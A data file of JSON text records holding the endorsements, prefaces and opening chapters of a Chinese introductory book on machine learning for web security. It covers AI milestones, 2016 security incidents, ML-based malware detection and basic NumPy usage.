    {"text": "本书采用实例的方式讲解机器学习在安全领域的应用，不仅能让读者了解到机器学习，还能让读者了解到攻击方式的检测手段，是一本难得的好书。 ——尹毅，Sobug技术合伙人，《代码审计：企业级Web代码安全架构》作者 在机器学习领域中，大多数的实用方向都表现在图像识别、广告推荐和个性画像等方面，但很少看见安全领域相关的机器学习方法和介绍，因为“安全”的概念是很模糊的，有的场景中，很少有合适的模型、适用的参数，甚至没有明确的算法。 这本书介绍了基础的机器学习应用和方法，并结合部分特殊的场景对安全领域中较为常见和较为烦琐的分析提供了很好的例子和思维模型，不论是安全从业人员或者是机器学习领域的研究者，都值得阅读，可以从本书中获得很多好的启发和灵感。"},
    {"text": "——Kevin1986，搜狐资深安全研究员 不知道十余年前，在兜哥刚刚踏上安全这条“不归路”时，有没有想过如今的工作会面对多么错综复杂的环境，担负着数亿用户的信赖。"},
    {"text": "在大型互联网公司中，产品线绵延复杂，每一个新产品的上线，每一次版本的迭代更新，都有不可预知的安全问题出现，安全防御体系也无时无刻不在应对新的挑战。"},
    {"text": "这本书作为走过这段历程之后的总结与分享，兜哥将多年的工作经验毫无保留地倾注于其中，以一个甲方安全人员的视角，将机器学习如何应用在Web安全工作的各个方面，用诙谐易懂的语言娓娓道来。"},
    {"text": "——幻泉，i春秋教研中心总监 识别各类攻击一直是安全领域内难以解决的问题，由于语言的多样性，利用传统规则匹配来识别攻击已经过时，传统安全技术的发展也已经到了瓶颈，而本书提出机器学习结合Web安全的思路为安全技术发展指出了新的方向。"},
    {"text": "序一 兜哥是网络安全行业的老兵，早在成为自媒体人之前，他所带领的团队在Web入侵检测、WebShell识别等技术上就是百度安全防御的重要组成部分。他是一位十分难得的拥有敏感产品神经的技术人，在百度这些年，不仅将许多新产品、新技术引入百度，丰富百度防御能力，更通过自己的努力将百度在威胁检测等方面的经验不断传播出去。他通过自己的智能安全三部曲将他在人工智能方向的探索向业界做了系统性分享，在安全技术亟待突破的今天，有着很深的借鉴意义。本书是他的第一部著作，重点介绍如何在安全场景下进行机器学习。 回顾网络安全行业这十年来的发展，从防火墙、下一代防火墙、入侵检测到威胁情报，安全厂商一次次将新的概念引入，将新的技术包装，但安全威胁的现状却一天天恶化着，当我们看到越来越多的安全入侵事件发生，其波及范围也已经不仅仅是互联网业务，更有大量的国民基础设施深陷泥潭，我们不禁要问，是黑客越来越强大，还是我们的技术不够先进？我们被眼花缭乱的技术所困，却忽略了安全的本质——对抗。今天炙手可热的人工智能是否也会是一枚“银弹”？ 诚然，人工智能在自然语言处理、图像识别、棋类对抗领域的成绩有目共睹，而安全能否成为下一个人工智能的突破口？现在看来，一切正方兴未艾，在有监督学习方向，能否大幅简化安全工程师的工作量，让准实时对抗成为可能；在无监督学习方向，能否突破安全对抗的猫鼠游戏，让安全由被动变为主动。等待我们的将是一场令人激动的技术探索。 冯景辉，安全宝联合创始人，百度商业安全总监 马杰，安全宝创始人，百度安全总经理 序二 兜哥在通过数据分析进行安全检测的技术方面已经积累了很长时间，从最初我们合作建立国内最大TB级别日志分析系统开始，在这几年中，他一直在不断尝试使用更合适的技术来解决问题，这次欣喜地看到了他又有新的突破。 拿到样章当看到“通向智能安全的旅程”这一章时，着实被深深地吸引住了，在新技术中尝试使用机器学习的能力，借助AI，能让系统变得更加聪明更好用，从而更好地解决问题。Gartner在2015年就提出过“自适应安全架构来应对高级定向攻击”的概念，其中实现这套架构很重要的一个阶段就是让系统具备对攻击的预测能力，“预测”是一种更接近人的思考方法，通过机器学习及人工智能的技术迭代，这将有可能实现。 安全数据分析已经从搭建大数据分析系统过渡到使用机器学习的过程中了，通过机器学习算法对安全事件的分析在一段时间内也许并不能突出优势，就像我们面对一个天才少年一样，因为阅历原因暂时他不能超越你，但他一定会用非常短的时间就能追上并且更好地帮助你。 阅读过程中常常感叹于兜哥的细心和他对此系列书的撰写决心，兜哥是一位不折不扣的技术实践者，全书使用了超过15种机器学习的算法，收集整理了大量或知名、或在真实环境下出现过的案例，并一一详细给出了使用机器学习算法进行分析的方法。书中还包含了丰富的数据集以及大量的实例，能帮助入门的同学降低学习成本，快速进入技术实践中。阅读的过程中，我常常在假想，如果回到几年前看到这本书，现在我们搭建的分析系统又将是另一番景象。 本书的写作风格是实战型的，围绕常见的安全问题，通过代码导读的方式，把每个问题与机器学习算法相关联，循序渐进，揭开了机器学习的神秘面纱。对于立志从事信息安全技术的同学来说，这种实战型的案例更直观，更能激发学习兴趣，推动机器学习在安全分析上的应用。 云朋，百度无人车首席安全架构师"},
    {"text": "序三 跟兜哥相识迄今一年有余，当时我还在一个跨境电商公司当码农头子，互金、电商也都还是资本圈炙手可热的概念，我们这个小而美的电商公司不能免俗，三天一小促，五天一大促地在玩着冲刺GMV（日总交易金额）的游戏。玩命狂奔业绩的同时，我早早地就跟当时还身为独立安全公司的“安全宝”交了抗DDoS费，保证每次业务起起落落的时候，不会受到某一小撮别有用心的敌对势力的干扰。“安全宝”的服务接入不到半年就爆出新闻，百度全资收购了“安全宝”，推出了面向企业的百度安全服务体系。一直跟我对接的“安全宝”的销售朋友摇身一变，成为三巨头之一的金领员工。朋友高升遇喜自然要多多分享，于是某日就电话约了“百度资深安全工程师和销售团队”来我们这里做一个交流。产品介绍、业界八卦聊了半个多小时以后，一直安坐对方一角，眼睛闪着灵光的胖子始终没说话。我接受不了屋里仅有两个胖子，一个是我一直在聊；另一个胖子却如此沉默。于是我就开口问：“你们客户端的那个核心xx功能，就是这个角落里不说话的大黑客写的吧？” “没有，没有，我们的xx功能不是那样的。”这哥们终于开口说了第一句话。 “不可能啊，因为xx、xx、xx。”我又吧啦吧啦说了一通。 “嘿嘿，其实是xx、xx。”他抬抬头，翻起眼睛看着我，一种内行跟内行言简意赅过招的感觉跃然而出。 “额，来，先留个微信吧。”我站起来，把手机递了过去。10秒钟后，“中国相声界的小学生通过扫一扫添加你为好友”的消息弹了出来。“你太逗了。”我忍不住看着对方评论了一句，心想：这么有趣的码农朋友交定了。散会后，几个人站在办公室楼下，相声界的小学生朋友特别真诚地感谢了一下我提供如此好的机会，让他们有机会从中国互联网的物理核心交换地区后厂村来到事业线、大白腿比例明显高一个数量级的CBD地区。我则不失时机地指点了对方一下，应该步行走一段什么样的路线去地铁站，能更顺利地回到核心交换地区。这就是我跟兜哥的第一次见面。 接下来的一段时间，相声界的小学生朋友变成了我微信朋友圈中昵称更换频率最高的人，在目睹了“青青河边草”“小小铜豌豆”等花式变更之后，我知道蹭小学生朋友一顿大餐的机会成熟了，于是很愉快地约了一顿丰盛的晚饭。一向不胜酒力又闷骚的码农们碰到三观相近的同类，总是特别容易敞开心扉，觥筹交错间，关于奋斗、关于公司、关于互联网，当然，还有关于男男女女，让一次普通而平淡的饭局变得特别有记忆特质。尽管我的记忆力很难达到生活自理的标准，不过时至今日，还是经常想起与相声界的小学生朋友把酒言欢的许多细节，觉得有趣而温暖。 后来我们目睹了百度公司毅然启航进入人工智能的时代。其实对于搜索巨人百度公司，人工智能领域内常见的如最大熵、隐马尔科夫、卷积神经网络等数学模型，从第一天起就如血液一般，渗透进入分词、排序、分类、聚类等搜索业务的大部分领域，经过了十来年的高歌猛进，这些晦涩难懂的数学公式日益扩大了其应用范围，在安全领域也得到了越发深入的应用。 聪明、努力、专注是兜哥写作一本书的智力储备和保证。这个被摩尔定律不停推动、变革的时代，一本技术书籍本身的价值和生命周期总是有限的。然而，随着年纪渐长，我们越来越体会到，自己的时间消费中最有价值的部分，永远是与有趣的灵魂和思想共处的片段。人类天性讨厌无趣，毕生的使命都是在寻找与有趣共振的机会。一本精心写作的书籍中，饱含了作者倾注的时光和智慧，这些无形的精神宝藏是让我们手不释卷的核心吸引力。品一杯茶，我们的欢喜来自于能品到茶叶所经历的春夏秋冬和风霜雨雪；读一本书，我们的满足来自于通过书本连接到有趣的灵魂。有趣的人总会相遇，希望在读完本书后，你也能感受到书中纷繁枯燥的数学逻辑背后与你共振的有趣灵魂。 ——罗翼，中国互联网资深码农，曾任去哪网高级总监，某著名跨境电商CTO"},
    {"text": "网络安全相比之下是一个传统行业，基于规则以及黑白名单的检测技术已经发展到了一定的瓶颈，而利益驱动的黑产团伙，其技术的发展已经远远超乎我们的想象。"},
    {"text": "如何借助人工智能的力量，提升安全行业的整体检测与防护能力，成为各大安全厂商研究的课题。 在国内安全行业，BAT以及大量新兴的创业公司先后进入企业安全领域，他们凭借着自身数据搜集、处理、积累以及人工智能方面的优势，正在逐渐改变着整个安全行业。 安全产品的形态也从硬件盒子逐步走向混合模式以及云端SaaS服务，安全技术从重防御逐步走向数据分析以及智能驱动。 传统安全厂商也凭借其强大的安全人才储备，迅速推进人工智能在安全产品的落地。"},
    {"text": "我在网络安全这个行业搬了好几年砖，前五年做大型互联网公司的企业安全建设，从准入系统到WAF、SIEM、IPS等，基本都开发或者使用过，最近三年一直负责云安全产品，从抗D、WAF产品到、SIEM、入侵检测等，使用的技术从规则、黑白名单、模型、沙箱再到机器学习，从单机的OSSIM到Hadoop、Storm、Spark、ELK，也算目睹了安全技术或者更准确地说是数据分析处理技术的迅猛发展。"},
    {"text": "我在真正意义上接触机器学习是2014年年底，当时带领了一个很小的团队尝试使用机器学习算法解决安全问题，磕磕绊绊一直走到现在，变成几十人的一个产品团队。"},
    {"text": "本书是我机器学习三部曲的第一部，主要以机器学习常见算法为主线，以生活中的例子和具体安全场景介绍机器学习常见算法，定位为机器学习入门书籍，便于大家可以快速上手。"},
    {"text": "第二部将重点介绍深度学习，并以具体的十个案例介绍机器学习的应用，主要面向具有一定机器学习基础或致力于使用机器学习解决工作中问题的读者，全书的重点集中在问题的解决而不是算法的介绍。"},
    {"text": "第5章到第13章介绍浅层机器学习算法，包括常见的K近邻、决策树、朴素贝叶斯、逻辑回归、支持向量机、K-Means、FP-growth、Apriori、隐式马尔可夫、有向图。"},
    {"text": "每章都会以生活中的例子开头，让读者有一个感性的认识，然后简短介绍基础知识，最后以安全领域的2~3个例子讲解如何使用该算法解决问题。 全书定位是能让更多的安全爱好者以及信息安全从业者了解机器学习，动手使用简单的机器学习算法解决实际问题。"},
    {"text": "机器学习应用于安全领域遇到的最大问题就是缺乏大量的黑样本，即所谓的攻击样本，尤其相对于大量的正常业务访问，攻击行为尤其是成功的攻击行为是非常少的，这就给机器学习带来了很大挑战。"},
    {"text": "本书很少对不同算法进行横向比较，也是因为确实在不同场景下不同算法表现差别很大，很难说深度学习就一定比朴素贝叶斯好，也很难说支持向量机就比不过卷积神经网络，拿某个具体场景进行横向比较意义不大，毕竟选择算法不像购买SUV，可以拿几十个参数评头论足，最后还是需要大家结合实际问题去选择。"},
    {"text": "这里我要感谢我的家人对我的支持，本来工作就很忙，没有太多时间处理家务，写书以后更是花费了我大量的休息时间，我的妻子无条件承担起了全部家务，尤其是照料孩子等繁杂事务。"},
    {"text": "最后还要感谢各位业内好友尤其是我boss对我的支持，排名不分先后：马杰@百度安全、冯景辉@百度安全、林晓东@百度基础架构、黄颖@百度IT、李振宇@百度AI、Lenx@百度安全、黄正@百度安全、程岩@百度云、郝轶@百度云、云鹏@百度无人车、赵林林@微步在线、张宇平@数盟、谢忱@Freebuf、李新@Freebuf、李琦@清华、徐恪@清华、王宇@蚂蚁金服、王珉然@蚂蚁金服、王龙@蚂蚁金服、周涛@启明星辰、姚志武@借贷宝、刘静@安天、刘袁君@医渡云、廖威@易宝支付、尹毅@sobug、宋文宽@联想、团长@宜人贷、齐鲁@搜狐安全、吴圣@58安全、康宇@新浪安全、幻泉@i春秋、雅驰@i春秋、王庆双@i春秋、张亚同@i春秋、王禾@微软、李臻@paloalto、西瓜@四叶草、郑伟@四叶草、朱利军@四叶草、土夫子@XSRC、英雄马@乐视云、sbilly@360、侯曼@360、高磊@滴滴、高磊@爱加密、高渐离@华为、刘洪善@华为云、宋柏林@一亩田、张昊@一亩田、张开@安恒、李硕@智联、阿杜@优信拍、李斌@房多多、李程@搜狗、Tony@京东安全、简单@京东安全、姚聪@face+、李鸣雷@金山云，最后我还要感谢我的亲密战友陈燕、康亮亮、蔡奇、哲超、新宇、子奇、月升、王磊、碳基体、刘璇、钱华钩、刘超、王胄、吴梅、冯侦探、冯永校。"},
    {"text": "本书面向信息安全从业人员、高等院校计算机相关专业学生以及信息安全爱好者，机器学习爱好者，对于想了解人工智能的CTO、运维总监、架构师同样也是一本不错的科普书籍。"},
    {"text": "当读者在工作学习中遇到问题时可以想起本书中提到的一两种算法，那么我觉得就达到效果了，如果可以让读者像使用printf一样使用SVM、朴素贝叶斯等算法，那么这本书就相当成功了。"},
    {"text": "我平时在FreeBuf专栏以及i春秋分享企业安全建设以及人工智能相关经验与最新话题，同时也运营我的微信公众号“兜哥带你学安全”，欢迎大家关注并在线交流。"},
    {"text": "第1章 通向智能安全的旅程 人工智能可以说是目前最热的一个话题，从较早前的谷歌大脑到近期的百度无人车、谷歌AlphaGo大师，一个个人工智能的新应用都在不断刷新人们对机器能力的认知。人们开始关注究竟下一个被机器取代的功能会是什么，甚至下一个被机器取代的职业会是什么呢？ 网络安全也是国内外非常热门的一个话题，从大量的大型网站密码泄露到大半个美国网络瘫痪，再到直接影响美国总统大选的结果，一个个安全事件让大家意识到安全的重要性，网络安全已经是国家安全战略层面的问题了。人工智能在网络安全领域是否也可以创造奇迹呢？现状又是怎样呢？ 本章将介绍人工智能、机器学习与深度学习的区别与联系，介绍人工智能的发展。近期国内外的网络安全形势，以及人工智能在网络安全领域的应用。 1.1 人工智能、机器学习与深度学习 如今，人工智能、机器学习与深度学习几乎成了家喻户晓的名词，究竟这三者之间有什么联系和区别呢？ 通常认为，机器学习是实现人工智能的主要方式，人类基于机器学习以及海量的数据，逐步实现人工智能，其中深度学习是机器学习的一个分支。如果用同心圆来表示三者的范围，那么人工智能是最外面的一个圆，深度学习是最里面的圆。人可以在1秒以内做出的判断，都可以用机器来实现，而且机器可以同时完成成百上千人1秒内可以做出的判断，这就是人工智能。 1.2 人工智能的发展 1.谷歌大脑 谷歌大脑是“Google X实验室”一个主要研究项目，是谷歌在人工智能领域开发出的一款模拟人脑的软件，这个软件具备自我学习功能。Google X部门的科学家们通过将1.6万台电脑的处理器相连接建造出了全球为数不多的最大中枢网络系统，它能自主学习，所以称之为“谷歌大脑”。2012年，谷歌的工程师曾经公布了一个令人激动的研究结果，他们使用了1000台计算机、16000个处理器10天昼夜不停地运转，通过模拟大脑细胞，在Youtube的视频中捕获了1000万张图片学习识别猫、人以及其他事物。 2.百度无人车 百度无人驾驶车项目于2013年起步，由百度研究院主导研发，其技术核心是“百度汽车大脑”，包括高精度地图、定位、感知、智能决策与控制4大模块。其中，百度自主采集和制作的高精度地图记录完整的三维道路信息，能在厘米级精度实现车辆定位。同时，百度无人驾驶车依托国际领先的交通场景物体识别技术和环境感知技术，实现高精度车辆探测识别、跟踪、距离和速度估计、路面分割、车道线检测，为自动驾驶的智能决策提供依据。 2015年12月，百度公司宣布，百度无人驾驶车在国内首次实现城市、环路及高速道路混合路况下的全自动驾驶，如图1-1所示。百度公布的路测路线显示，百度无人驾驶车从位于北京中关村软件园的百度大厦附近出发，驶入G7京新高速公路，经五环路，抵达奥林匹克森林公园，并随后按原路线返回。百度无人驾驶车往返全程均实现自动驾驶，并实现了多次跟车减速、变道、超车、上下匝道、调头等复杂驾驶动作，完成了进入高速到驶出高速的不同道路场景的切换。测试时最高速度达到100千米/小时。 图1-1 百度无人驾驶车 3.AlphaGo AlphaGo是一款围棋人工智能程序，由谷歌旗下DeepMind公司的戴密斯·哈萨比斯、大卫·席尔瓦、黄士杰与他们的团队开发。其主要工作原理是“深度学习”。 2016年3月，该程序与围棋世界冠军、职业九段选手李世石进行人机大战（如图1-2所示），并以4：1的总比分获胜；2016年末至2017年初，该程序在中国棋类网站上以“大师”（Master）为注册账号与中日韩数十位围棋高手进行快棋对决，连续60局无一败绩。不少职业围棋手认为，AlphaGo的棋力已经达到甚至超过围棋职业九段水平，在世界职业围棋排名中，其等级分曾经超过排名人类第一的棋手柯洁。 图1-2 李世石与AlphaGo进行人机大战 就在AlphaGo与柯洁“人机大战”不久前，谷歌I/O 2017大会上，谷歌“移动为先”向“AI优先”再次升级，其中最典型的表现之一就是更新和升级了去年I/O 2017大会上公布的TPU（Tensor Processing Unit）——一款谷歌自己高度定制化的AI（针对AI算法，例如其自己开发的TensorFlow深度学习架构）芯片，也是AlphaGo背后的功臣，即AlphaGo能以超人的熟练度下围棋都要靠训练神经网络来完成，而这又需要计算能力（硬件越强大，得到的结果越快）。TPU比当前的GPU或CPU平均快15～30倍，性能功耗比（TOPS/Watt）高出约30～80倍。此外，在TPU中采用GPU常用的GDDR5存储器能使性能TPOS指标再高3倍，并将能效比指标TOPS/Watt提高到GPU的70倍，CPU的200倍。到目前为止，谷歌的TPU已经应用在各种领域的应用中，例如谷歌图像搜索（Google Image Search）、谷歌照片（Google Photo）、谷歌云视觉API（Google Cloud Vision API）、谷歌翻译以及AlphaGo的围棋系统中。实际上我们上述提到的谷歌I/O 2017大会推出和更新的诸多AI产品和服务背后均有TPU的硬件支持。"},
    {"text": "1.3 国内外网络安全形势 1.国内部分网站存在Ramnit恶意代码攻击 2016年4月，CNCERT监测发现一个名为“Ramnit”的网页恶意代码被挂载在境内近600个党政机关、企事业单位网站上（如图1-3所示），一旦用户访问网站就有可能受到挂马攻击，对网站访问用户的PC主机构成安全威胁。Ramnit恶意代码是一个典型的VBScript蠕虫病毒，可通过网页挂马的方式进行传播，当用户浏览含有Ramnit恶意代码的HTML页面时，点击加载ActiveX控件，用户主机就很有可能受到恶意代码的感染。 图1-3 国内部分网站存在Ramnit恶意代码攻击 2.2.7亿Gmail、雅虎和Hotmail账号遭泄露 2016年5月，俄罗斯黑客成功地进行了一场大规模的数据泄露攻击。在此次网络攻击中，黑客盗取了2.723亿个账号，以俄罗斯最受欢迎的电子邮件服务Mail.ru用户为主，此外还有Gmail地址、雅虎以及微软电邮Hotmail用户，如图1-4所示。路透社称，数以亿计的数据目前正在“俄罗斯的地下黑市”出售。 图1-4 2.7亿Gmail、雅虎和Hotmail账号遭泄露 3.美国大半个互联网下线事件 2016年10月，提供动态DNS服务的DynDNS遭到了大规模DDoS攻击，攻击主要影响其位于美国东区的服务。此次攻击导致许多使用DynDNS服务的网站遭遇访问问题，其中包括GitHub、Twitter、Airbnb、Reddit、Freshbooks、Heroku、SoundCloud、Spotify和Shopify。攻击导致这些网站一度瘫痪，Twitter甚至出现了近24小时无访问的局面。 4.希拉里邮件门影响美国大选 2016年11月，希拉里因“邮件门”最终落败美国总统竞选。希拉里在担任国务卿期间，从未使用域名为“@state.gov”的政府电子邮箱，而是使用域名为“@clintonemail.com”的私人电子邮箱和位于家中的私人服务器收发公务邮件，涉嫌违反美国《联邦档案法》关于保存官方通信记录的规定。希拉里被美国联邦调查局（FBI）调查，民众支持率节节下降，见图1-5。 图1-5 希拉里邮件门事件"},
    {"text": "1.4 人工智能在安全领域的应用 人工智能在安全领域的应用还属于起步阶段，各大安全公司以及互联网巨头都投入大量的人力物力，试图使用人工智能的技术来颠覆安全这个行业，目前在黄反鉴定、恶意链接、业务风控领域、病毒分析、APT检测方面都取得了不错的进展，典型案例的就是2015年的一次数据挖掘比赛。 2015年，微软在Kaggle上发起了一个恶意代码分类的比赛，并提供了超过500G的原始数据。有意思的是，取得第一名的队伍三个人都不是搞安全出身的，所采用的方法与我们常见的方法存在很大不同，展现了机器学习在安全领域的巨大潜力。早期的反病毒软件大都单一的采用特征匹配的方法，简单的利用特征串完成检测。随着恶意代码技术的发展，恶意代码开始在传播过程中进行变形以躲避查杀，此时同一个恶意代码的变种数量急剧提升，形态较本体也发生了较大的变化，反病毒软件已经很难提取出一段代码作为恶意代码的特征码。Kaggle比赛中最重要的环节就是特征工程，特征的好坏直接决定了比赛成绩。在这次Kaggle的比赛中冠军队伍选取了三个“黄金”特征：恶意代码图像、OpCode n-gram和Headers个数，其他一些特征包括ByteCode n-gram，指令频数等。机器学习部分采用了随机森林算法，并用到了xgboost和pypy加快训练速度，最终他们检测的效果超过了常见传统检测方式，取得了冠军。 1.恶意代码图像 这个概念最早是2011年由加利福尼亚大学的Nataraj和Karthikeyan在他们的论文Malware Images：Visualization and Automatic Classification中提出来的，思路非常新颖，把一个二进制文件以灰度图的形式展现出来，利用图像中的纹理特征对恶意代码进行聚类。此后，有许多研究人员在这个思路基础上进行了改进和探索。就目前发表的文章来看，恶意代码图像的形式并不固定，研究人员可根据实际情况进行调整和创新。 2.OpCode n-gram n-gram是自然语言处理领域的概念，早期的语音识别技术和统计语言模型与它密不可分。n-gram基于一个简单的假设，即认为一个词出现的概率仅与它之前的n-1个词有关，这个概率可从大量语料中统计得到。例如“吃”的后面出现“苹果”或“披萨”的概率就会比“公路”的概率大（正常的语料中基本不会出现“吃公路”这种组合），可以看出n-gram在一定程度上包含了部分语言特征。 将n-gram应用于恶意代码识别的想法最早由Tony等人在2004年的论文N-gram-based Detection of New Malicious Code中提出，不过他们的方法是基于ByteCode的。2008年Moskovitch等人的论文Unknown Malcode Detection Using OPCODE Representation中提出利用OpCode代替ByteCode更加科学，如图1-6所示。 图1-6 二进制文件的OpCode n-gram 在移动应用领域，使用类似的思路也取得了不错的成绩，我的同事王磊使用深度学习识别恶意APK，准确率达到99.96%，召回率达到了80%，2016年，反映该研究成果的论文“AI Based Antivirus：Can Alphaav Win The Battle in Which Man Has Failed？”被享誉国内外的Blackhat会议收录并做了相关演讲。 恶意APK伴随移动互联网井喷式的发展，其数量在近几年几何级别增长，如图1-7所示。传统的基于规则的检测技术已经无法覆盖如此大量的恶意程序。 图1-7 恶意APK数量猛增 王磊团队在大量的人工分析恶意APK的工作中发现，人工分析的过程很类似图像识别的过程。深度学习在图像识别领域有着成熟的应用，是否可以通过提取APK特征，通过深度学习的方法来自动化识别恶意APK呢？如图1-8所示。 图1-8 恶意APK分析与图像识别 王磊团队对APK的特征提取主要分为三大类特征： ·结构化特征，包括APK申请的权限的个数，资源文件中包含的图像文件个数和参数大于20的函数的个数等。 ·统计类特征，包括近千条统计特征。 ·长期恶意APK检测的经验总结的特征，包括资源文件中是否包含可执行文件，assets文件夹中是否包含APK文件等。 特征提取过程如图1-9所示。 图1-9 APK特征提取过程 归一化处理一千多个特征，取值控制在-1和1之间，如图1-10所示。 图1-10 归一化APK特征 使用深度学习网络训练，训练过程如图1-11所示。 图1-11 APK深度学习训练过程 整个训练过程中使用超过了15万个样本，训练使用了百度开源的深度学习框架Paddle。本书的第二部中关于深度学习的案例也主要使用Paddle和TensorFlow框架编写。 Paddle主页为： http://www.paddlepaddle.org/ 1.5 算法和数据的辩证关系 算法和数据是机器学习解决实际问题不可或缺的两大因素，缺一不可。早期的机器学习十分依赖特征的提取，提取出关键的特征，往往可以事半功倍。深度学习的快速发展，人们发现通过增加训练数据量，让机器从大量基础特征中可以自动关联出潜在关系，自动学习出更高级的特征，所以有种说法被很多人接受，就是当数据量足够大时，不同的算法对效果的影响不大。但是在实际工作中，很难保证各种场景下都有足够的数据进行训练，这个时候不同算法的检测效果可能会差别很大，在本书后面的例子中，大家可以发现相同的问题和训练集下，使用不同算法结果就会有明显差异。 1.6 本章小结 本章重点介绍人工智能发展的现状、互联网安全严峻形势以及当前人工智能在安全领域的一些进展。目前人工智能在安全领域的应用还处于起步和探索阶段，深入研究将大有可为。"},
    {"text": "参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://www.cnvd.org.cn/webinfo/show/3821 · http://www.ccidnet.com/2016/0805/10162993.shtml · http://special.csdncms.csdn.net/security/ · http://view.k618.cn/wlgcy/201608/t20160826_8776204.htm · http://news.21cn.com/hotnews/a/2017/0420/10/32186159.shtml · http://www.freebuf.com/news/103646.html · http://www.freebuf.com/articles/database/97212.html · https://www.fireeye.com/blog/threat-research/2016/02/maimed_ramnit_still.html 第2章 打造机器学习工具箱 在机器学习领域，Python语言可以大展身手，因为Python的设计哲学是“优雅、明确、简单”。Python开发者的哲学是“用一种方法，最好是只有一种方法来做一件事”。在设计Python语言时，如果面临多种选择，Python开发者一般会拒绝花俏的语法，而选择明确的没有或者很少有歧义的语法。由于这种设计观念的影响，Python源代码具备更好的可读性，并且能够支撑大规模的软件开发。几乎在任何涉及软件开发的领域都可以看到Python的身影，在机器学习领域它更是威名远扬，大量的优秀机器学习库都是基于Python开发或者提供Python接口的。所以本章重点介绍Python语言在机器学习领域的优势和应用，包括几个重点库：NumPy、SciPy、NTLK、Scikit-Learn的简介、环境依赖以及安装，最后介绍TensorFlow的简介及安装。为后续的学习准备好工具箱。 2.1 Python在机器学习领域的优势 Python在机器学习领域应用广泛（如图2-1所示），我认为主要原因有两个： ·语法简单，功能强大； ·生态完整，具备丰富的第三方库，对应的机器学习库非常丰富。 下面将重点介绍四个库。"},
    {"text": "可以通过给array函数传递Python的序列对象创建数组，如果传递的是多层嵌套的序列，将创建多维数组（下例中的变量c）： >>> a = np.array([1, 2, 3, 4]) >>> b = np.array((5, 6, 7, 8)) >>> c = np.array([[1, 2, 3, 4],[4, 5, 6, 7], [7, 8, 9, 10]]) >>> b array([5, 6, 7, 8]) >>> c array([[1, 2, 3, 4], [4, 5, 6, 7], [7, 8, 9, 10]]) >>> c.dtype dtype('int32') 数组的大小可以通过其shape属性获得： >>> a.shape (4,) >>> c.shape (3, 4) 数组元素的存取方法和Python的标准方法相同： >>> a = np.arange(10) >>> a[5] # 用整数作为下标可以获取数组中的某个元素 5 >>> a[3:5] # 用范围作为下标获取数组的一个切片，包括a[3]不包括a[5] array([3, 4]) >>> a[:5] # 省略开始下标，表示从a[0]开始 array([0, 1, 2, 3, 4]) >>> a[:-1] # 下标可以使用负数，表示从数组后往前数 array([0, 1, 2, 3, 4, 5, 6, 7, 8]) >>> a[2:4] = 100,101 # 下标还可以用来修改元素的值 >>> a array([ 0, 1, 100, 101, 4, 5, 6, 7, 8, 9]) >>> a[1:-1:2] # 范围中的第三个参数表示步长，2表示隔一个元素取一个元素 array([ 1, 101, 5, 7]) >>> a[::-1] # 省略范围的开始下标和结束下标，步长为-1，整个数组头尾颠倒 array([ 9, 8, 7, 6, 5, 4, 101, 100, 1, 0]) >>> a[5:1:-2] # 步长为负数时，开始下标必须大于结束下标 array([ 5, 101]) 和Python的列表序列不同，通过下标范围获取的新的数组是原始数组的一个视图。 它与原始数组共享同一块数据空间： >>> b = a[3:7] # 通过下标范围产生一个新的数组b，b和a共享同一块数据空间 >>> b array([101, 4, 5, 6]) >>> b[2] = -10 # 将b的第2个元素修改为-10 >>> b array([101, 4, -10, 6]) >>> a # a的第5个元素也被修改为10 array([ 0, 1, 100, 101, 4, -10, 6, 7, 8, 9]) 除了使用下标范围存取元素之外，NumPy还提供了两种存取元素的高级方法。"},
    {"text": "NumPy和MatLab不一样，对于多维数组的运算，缺省情况下并不使用矩阵运算，如果你希望对数组进行矩阵运算的话，可以调用相应的函数。 NumPy库提供了matrix类，使用matrix类创建的是矩阵对象，它们的加减乘除运算缺省采用矩阵方式计算，因此用法和MatLab十分类似。"},
    {"text": "下面是使用matrix的一个例子： >>> a = np.matrix([[1,2,3],[5,5,6],[7,9,9]]) >>> a*a**-1 matrix([[ 1.00000000e+00, 1.66533454e-16, -8.32667268e-17], [ -2.77555756e-16, 1.00000000e+00, -2.77555756e-17], [ 1.66533454e-16, 5.55111512e-17, 1.00000000e+00]]) 因为a是用matrix创建的矩阵对象，因此乘法和幂运算符都变成了矩阵运算，于是上面计算的是矩阵a和其逆矩阵的乘积，结果是一个单位矩阵。"},
    {"text": "对于二维数组，它计算的是矩阵乘积，对于一维数组，它计算的是点积。 当需要将一维数组当作列矢量或者行矢量进行矩阵运算时，推荐先使用reshape函数将一维数组转换为二维数组： >>> a = array([1, 2, 3]) >>> a.reshape((-1,1)) array([[1], [2], [3]]) >>> a.reshape((1,-1)) array([[1, 2, 3]]) 除了dot计算乘积之外，NumPy还提供了inner和outer等多种计算乘积的函数。"},
    {"text": "对于多维数组，它的通用计算公式如下，即结果数组中的每个元素都是——数组a的最后一维上的所有元素与数组b的倒数第二位上的所有元素的乘积和。 dot(a, b)[i,j,k,m] = sum(a[i,j,:] * b[k,:,m]) 下面以两个三维数组的乘积演示一下dot乘积的计算结果。 首先创建两个三维数组，这两个数组的最后两维满足矩阵乘积的条件： >>> a = np.arange(12).reshape(2,3,2) >>> b = np.arange(12,24).reshape(2,2,3) >>> c = np.dot(a,b) dot乘积的结果c可以看作是数组a，b的多个子矩阵的乘积： >>> np.alltrue( c[0,:,0,:] == np.dot(a[0],b[0]) ) True >>> np.alltrue( c[1,:,0,:] == np.dot(a[1],b[0]) ) True >>> np.alltrue( c[0,:,1,:] == np.dot(a[0],b[1]) ) True >>> np.alltrue( c[1,:,1,:] == np.dot(a[1],b[1]) ) True ·inner：和dot乘积一样，对于两个一维数组，计算的是这两个数组对应下标元素的乘积和； 对于多维数组，它计算的结果数组中的每个元素都是——数组a和b的最后一维的内积，因此数组a和b的最后一维的长度必须相同。 inner(a, b)[i,j,k,m] = sum(a[i,j,:]*b[k,m,:]) 下面是inner乘积的演示： >>> a = np.arange(12).reshape(2,3,2) >>> b = np.arange(12,24).reshape(2,3,2) >>> c = np.inner(a,b) >>> c.shape (2, 3, 2, 3) >>> c[0,0,0,0] == np.inner(a[0,0],b[0,0]) True >>> c[0,1,1,0] == np.inner(a[0,1],b[1,0]) True >>> c[1,2,1,2] == np.inner(a[1,2],b[1,2]) True outer：只按照一维数组进行计算，如果传入参数是多维数组，则先将此数组展平为一维数组，之后再进行运算。 outer乘积计算的列向量和行向量的矩阵乘积： >>> np.outer([1,2,3],[4,5,6,7]) array([[ 4, 5, 6, 7], [ 8, 10, 12, 14], [12, 15, 18, 21]]) 